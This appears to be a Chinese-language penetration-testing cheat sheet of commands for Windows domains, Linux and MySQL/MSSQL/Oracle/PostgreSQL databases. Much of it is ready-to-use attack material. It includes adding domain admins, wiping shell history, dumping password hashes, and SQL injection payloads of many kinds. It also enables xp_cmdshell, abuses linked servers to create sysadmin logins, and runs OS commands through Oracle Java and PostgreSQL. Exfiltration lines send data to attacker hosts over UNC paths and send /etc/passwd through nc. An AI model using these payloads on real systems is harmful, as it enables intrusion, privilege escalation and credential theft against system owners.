查看用户列表: net user powershell查看用户列表: Get-WmiObject -Class Win32_UserAccount 查看用户组列表: net localgroup 查看管理组列表: net localgroup Administrators 添加用户并设置密码: net user test P@ssw0rd /add 将用户加入管理组: net localgroup Administrators test /add 将用户加入桌面组: net localgroup "Remote Desktop Users" guest /add 激活guest用户: net user guest /active:yes 更改guest用户的密码: net user guest P@ssw0rd 将用户加入管理组: net localgroup administrators guest /add 将用户加入桌面组: net localgroup "Remote Desktop Users" guest /add 查看本地密码策略: net accounts 查看当前会话: net session 建立IPC会话: net use \\127.0.0.1\c$ "P@ssw0rd" /user:"domain\Administrator"
## 大小为字节磁盘 ::查看C盘 wmic LogicalDisk where "Caption='C:'" get FreeSpace,Size /value ::查看D盘 wmic LogicalDisk where "Caption='D:'" get FreeSpace,Size /value
搜索文件：
1 2 3 4 5
#搜索 D 盘下名为 shell.jsp 的文件 cd /d D:\ && dir /b /s shell.jsp
whoami /user //查看当前用户权限 net config workstation //可知域名和其他信息 net user /domain //查询域用户 net user edgeuser Admin12345 /add /domain //添加域用户 net group "domain admins" edgeuser /add /domain //添加域管理员 net group "enterprise admins" edgeuser /add /domain //添加企业管理员 net group "domain admins" /domain //查询域管理员用户 net group "enterprise admins" /domain //查询域企业管理组 net localgroup administrators /domain //查询域本地管理组 net time /domain //查询域控制器和时间 net view /domain //查询域名称 net view /domain:redteam.local //查询域内计算机 net group "domain computers" /domain //查看当前域内计算机列表 net group "domain controllers" /domain //查看域控机器名 net accounts /domain //查看域密码策略 nltest /domain_trusts //查看域信任 nltest /domain_trusts /all_trusts /v /server:10.10.10.10 //查看某个域的域信任 nslookup -type=SRV _ldap._tcp.corp //通过srv记录查找域控制器
Linux 命令速查
本次不记录命令
1
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
SELECT * FROM performance_schema.hosts; show full processlist;
mysql 查最大数量表
1
select table_name,table_rows,table_schema,table_comment from information_schema.tables order by table_rows desc;
查询 user 字段在哪个库哪个表
1 2 3 4 5 6 7 8
SELECT TABLE_SCHEMA AS database_name, TABLE_NAME AS table_name, COLUMN_NAME AS column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%user%';
统计访问过的表次数
1 2
//库名,表名,访问次数 select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc;
查看写入权限
1 2 3 4 5 6 7 8
mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | ON | | secure_file_priv | | 可写入 | secure_file_priv | NULL | 不可写入 +------------------+-------+
1
SHOW VARIABLES LIKE "secure_file_priv";
NULL，表示禁止。
如果value值有文件夹目录，则表示只允许该目录下文件，测试子目录也不行。
如果为空，则表示不限制目录。
不登录执行 sql
1 2
mysql -uaHmin -proot test -e "select now()" -N >H:/work/target1.txt mysql -uroot -e "show databases;" >1.txt
显示版本: select version(); 显示字符集: select @@character_set_database; 显示数据库: show databases; 显示表名: show tables; 显示字段: show columns from table_name; 显示计算机名: select @@hostname; 系统版本: select @@version_compile_os; mysql路径: select @@basedir; 数据库路径: select @@datadir; describe describe table_name; 显示root密码: select User,Password from mysql.user; 导入文件: select load_fie(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C); 导出文件: select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user; 开启外连: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; mysql安装路径: show variables; 更新数据库: UPDATE `DX15`.`dx15_common_member` SET `uid` = '1' WHERE `dx15_common_member`.`uid` =40407;更新40407uid变成uid1 mysql更改root密码: mysqladmin -u root password "newpwd"; 查询表: select concat(User,0x3a,Password) from mysql.user; 获取数据库所有表: SHOW TABLES FROM `databases`; 获取列前20行: SELECT * FROM `admin_bbs` ORDER BY 1 DESC LIMIT 0,20; 获取表行数: SELECT COUNT(*) AS CNT FROM `dede_admin`;
MSSQL 2000: Hashcat mode 131: 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 sql SELECT name, password FROM master..sysxlogins SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
MSSQL 2005: Hashcat mode 132: 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe sql SELECT name, password_hash FROM master.sys.sql_logins SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
MSSQL 列出数据库
1 2 3
SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
MSSQL 列出列
1 2 3 4
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, column_name FROM information_schema.columns
MSSQL 列出表
1 2 3 4 5 6
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, table_name FROM information_schema.columns SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
MSSQL 联合注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
-- extract databases names $ SELECT name FROM master..sysdatabases [*] Injection [*] msdb [*] tempdb
-- extract tables from Injection database $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' [*] Profiles [*] Roles [*] Users
-- extract columns for the table Users $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') [*] UserId [*] UserName
-- Finally extract the data $ SELECT UserId, UserName from Users
MSSQL 报错注入
1 2 3 4 5
For integer inputs : convert(int,@@version) For integer inputs : cast((SELECT @@version) as int)
For string inputs : ' + convert(int,@@version) + ' For string inputs : ' + cast((SELECT @@version) as int) + '
MSSQL 盲注
1 2 3 4 5 6 7 8 9 10 11 12
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97 AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%'
Without any statement terminator -- multiple SELECT statements SELECT 'A'SELECT 'B'SELECT 'C' -- updating password with a stacked query SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')-- -- using the stacked query to enable xp_cmdshell -- you won't have the output of the query, redirect it to a file SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Use a semi-colon “;” to add another query sql ProductID=1; DROP members--
MSSQL 读取文件
Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.
1
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
# Permissions: Requires VIEW SERVER STATE permission on the server. 1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
# Permissions: Requires the CONTROL SERVER permission. 1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default))) 1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
MSSQL UNC 路径
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.
1
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
1 2 3 4 5 6 7 8 9 10 11
xp_dirtree '\\attackerip\file' xp_fileexist '\\attackerip\file' BACKUP LOG [TESTING] TO DISK = '\\attackerip\file' BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file' RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file' RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file' RESTORE HEADERONLY FROM DISK = '\\attackerip\file' RESTORE FILELISTONLY FROM DISK = '\\attackerip\file' RESTORE LABELONLY FROM DISK = '\\attackerip\file' RESTORE REWINDONLY FROM DISK = '\\attackerip\file' RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
The links between databases work even across forest trusts.
1 2
msf> use exploit/windows/mssql/mssql_linkcrawler [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
Manual exploitation
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
-- find link select * from master..sysservers
-- execute query through the link select * from openquery("dcorp-sql1", 'select * from master..sysservers') select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
列出权限
列出当前用户在服务器上的有效权限。
1
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
列出当前用户在数据库上的有效权限。
1
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
列出当前用户在视图上的有效权限。
1
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
select t.table_name,t.tablespace_name,t.owner,t.num_rows from all_tables t ORDER BY NUM_ROWS DESC;
select t.table_name,t.tablespace_name,t.owner,t.num_rows from all_tables t ORDER BY NUM_ROWS DESC; select t.table_name tableName, f.comments comments from user_tables t inner join user_tab_comments f on t.table_name = f.table_name
查询包含 user 字段在哪个库哪个表
1 2 3 4 5 6 7 8 9 10
SELECT owner AS database_name, table_name, column_name FROM all_tab_columns WHERE column_name LIKE '%USER%' ORDER BY owner, table_name, column_name;
Oracle SQL 默认数据库
Name
Description
SYSTEM
适用于所有版本
SYSAUX
适用于所有版本
Oracle SQL 注释
Type
Description
-- -
SQL comment
Oracle SQL 版本
1 2 3 4
SELECT user FROM dual UNION SELECT * FROM v$version SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; SELECT version FROM v$instance;
Oracle SQL 主机名
1 2 3 4
SELECT host_name FROM v$instance; (Privileged) SELECT UTL_INADDR.get_host_name FROM dual; SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; SELECT UTL_INADDR.get_host_address FROM dual;
Oracle SQL 数据库名称
1 2 3 4
SELECT global_name FROM global_name; SELECT name FROM V$DATABASE; SELECT instance_name FROM V$INSTANCE; SELECT SYS.DATABASE_NAME FROM DUAL;
Oracle SQL 数据库凭证
SQL 语句
描述
SELECT username FROM all_users;
适用于所有版本
SELECT name, password from sys.user$;
Privileged, <= 10g
SELECT name, spare4 from sys.user$;
Privileged, <= 11g
Oracle SQL 列出数据库
1
SELECT DISTINCT owner FROM all_tables;
Oracle SQL 列出列
1 2
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
Oracle SQL 列出表
1 2 3
SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
Oracle SQL 报错注入
Description
Query
Invalid HTTP Request
SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
CTXSYS.DRITHSX.SN
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual
Invalid XPath
SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual
Invalid XML
SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual
Invalid XML
SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users
SQL Error
SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))
XDBURITYPE getblob
XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()
XDBURITYPE getclob
XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()
When the injection point is inside a string use : '||PAYLOAD--
Oracle SQL 盲注
Description
Query
Version is 12.2
SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
Subselect is enabled
SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
Table log_table exists
SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
Column message exists in table log_table
SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';
First letter of first message is t
SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';
Oracle SQL 时间注入
1
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
10g R2, 11g R1 and R2: DBMS_JAVA_TEST.FUNCALL() sql SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
11g R1 and R2: DBMS_JAVA.RUNJAVA() sql SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
Oracle Java Class
1 2 3 4 5 6 7 8 9 10 11 12 13
/* create Java class */ BEGIN EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; END; /
BEGIN EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; END; /
/* run OS command */ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
or (hex encoded)
1 2 3 4 5 6
/* create Java class */ SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
/* run OS command */ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;
使用 libc.so.6
1 2
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1 ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
PostgreSQL XML 帮助器
1 2 3
select query_to_xml('select * from pg_user',true,true,''); -- 返回所有结果作为单个 xml 行 select database_to_xml(true,true,''); -- 将当前数据库转储为 XML select database_to_xmlschema(true,true,''); -- 将当前数据库转储为 XML 架构
PostgreSQL 盲注
1 2
' and substr(version(),1,10) = 'PostgreSQL' and '1' -> OK ' and substr(version(),1,10) = 'PostgreXXX' and '1' -> KO
PostgreSQL 时间盲注
1 2 3 4 5 6 7 8 9 10 11
select 1 from pg_sleep(5) ;(select 1 from pg_sleep(5)) ||(select 1 from pg_sleep(5))
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1 select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1 select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1 select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
